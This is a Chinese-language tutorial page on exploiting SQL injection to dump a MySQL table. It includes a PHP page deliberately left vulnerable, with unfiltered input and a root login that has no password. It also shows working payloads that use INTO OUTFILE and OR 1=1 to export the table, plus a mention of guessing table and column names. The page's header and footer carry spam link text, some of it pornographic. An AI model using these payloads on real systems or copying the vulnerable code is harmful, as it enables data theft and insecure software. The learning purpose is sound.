一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家:專注于服務器技術及軟件下載分享
分類導航

Mysql|Sql Server|Oracle|Redis|MongoDB|PostgreSQL|Sqlite|DB2|mariadb|Access|數據庫技術|

服務器之家 - 數據庫 - Mysql - 利用SQL注入漏洞拖庫的方法

利用SQL注入漏洞拖庫的方法

2019-11-28 15:30MYSQL教程網 Mysql

利用SQL注入漏洞登錄后臺和利用SQL注入漏洞拖庫是我學習了相關內容之后的一點小結,沒啥深度,正如文章開頭所說,權當總結,別無它意

想在本地測試的話,可以在此免積分下載:利用SQL注入漏洞拖庫 
同上一篇文章一樣,我們需要創建數據表,并在表中出入幾條數據以備測試之用。 
在數據庫中建立一張表: 

復制代碼代碼如下:


CREATE TABLE `article` ( 
`articleid` int(11) NOT NULL AUTO_INCREMENT, 
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', 
`content` text CHARACTER SET utf8 NOT NULL, 
PRIMARY KEY (`articleid`) 
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1; 


在表中插入數據的操作我就不貼代碼了,可以去下載下來直接導入到數據庫。 
接下來,寫一個處理用戶請求的頁面,這里,我們故意不過濾用戶提交過來的數據,留下個SQL注入漏洞用來測試。 
代碼如下: 

復制代碼代碼如下:


<?php 
$servername = "localhost"; 
$dbusername = "root"; 
$dbpassword = ""; 
$dbname = "test"; 
$id=$_GET['id'];//id未經過濾 
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗"); 
mysql_select_db($dbname,$conn); 
mysql_query('set names utf8'); 
$sql = "SELECT * FROM article WHERE articleid='$id'"; 
$result = mysql_query($sql,$conn); 
$row = mysql_fetch_array($result); 
echo "<p>利用SQL注入漏洞拖庫<p>"; 
if (!$row){ 
echo "該記錄不存在"; 
exit; 

echo "標題<br>".$row['title']."<p>"; 
echo "內容<br>".$row['content']."<p>"; 
?> 


我們直接在瀏覽器中輸入: 
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1 
即可訪問article表中id為1的一條記錄 
訪問結果如下: 

利用SQL注入漏洞拖庫的方法

接下來,我們就利用這個漏洞(不知道該漏洞的情況下,只能通過工具+手工檢測),演示一下如何將article表下載下來。 
在地址欄中輸入:' into outfile 'e:/sql.txt'%23 
分析:%23是#的ASCII碼,由于在地址欄中直接輸入#后到數據庫系統中會變成空,需要在地址欄中輸入%23,那么才會變成#,進而注釋掉后面的sql語句。 
運行之后,打開E盤,發現多了一個sql.txt文件,打開之后,里面就是表article中的一條記錄。 
為什么只有一條記錄呢?難道該數據表就只有一條記錄?不是這樣的,因為我們只檢索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來呢? 
答案是可以的,只要你的構造的SQL語句足夠靈活(再次提出了構造SQL語句的靈活性)。 
分析一下,當在URL地址欄中輸入'into outfile 'e:/sql.txt'%23的時候,合并到sql查詢語句中變為: 
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#' 
仔細分析下之后,我們可以這樣子構造SQL語句: 
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#' 
這樣的話,無論如何WHERE子句總是為真,換句話說,該sql語句等價于如下: 
SELECT * FROM article into outfile 'e:/whf.txt'#' 
懂了吧,該sql語句在先執行select語句,將表article中的所以內容全部檢索出來,然后再執行into outfile 'e:/whf.txt'#'將內容導出來。 
不信的話,你執行下…… 
利用SQL注入漏洞,我們可以猜測表名,列名,用戶的密碼長度(LEFT函數)等等,當然了,如果能直接向以上的演示那樣將表中的數據全部導出的話就沒必要去猜表名列名等等。 
有點累了,就寫到這里了。 
利用SQL注入漏洞登錄后臺和利用SQL注入漏洞拖庫是我學習了相關內容之后的一點小結,沒啥深度,正如文章開頭所說,權當總結,別無它意。

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 青久久| 亚洲AV无码乱码在线观看浪潮 | 91视频99| bl高h荡肉古代np | 无限好资源第一片免费韩国 | 亚洲女同一区二区 | 无删减影视免费观看 | 91免费在线播放 | 天天夜夜草草久久伊人天堂 | 操女b| 金牛网155755水心论坛黄大父母 | 女女性恋爱视频入口 | 91进入蜜桃臀在线播放 | 国产午夜视频在线观看网站 | 乌克兰xxxxx 我要色色网 | 亚洲美女啪啪 | 五月天黄网 | 亚洲国产在线午夜视频无 | 久久久久久久尹人综合网亚洲 | 欧美人与禽杂交大片 | 欧美精品久久一区二区三区 | 日韩高清成人毛片不卡 | 99re这里只有精品视频 | 嘉嘉的丝袜美腿白丝 | 男人的影院 | 99在线视频精品费观看视 | 久久精品黄AA片一区二区三区 | 国产在线精品香蕉综合网一区 | 91久久99热青草国产 | 美女视频91 | 操儿媳小说| 久久电影午夜 | a黄毛片 | 亚欧美色| 亚欧洲乱码视频一二三区 | 国产日本韩国不卡在线视频 | 国产精品视频一区二区三区 | 视频免费看 | 久久精品国产视频澳门 | 欧美黑人性猛交╳xx╳动态图 | 免费欧美一级 |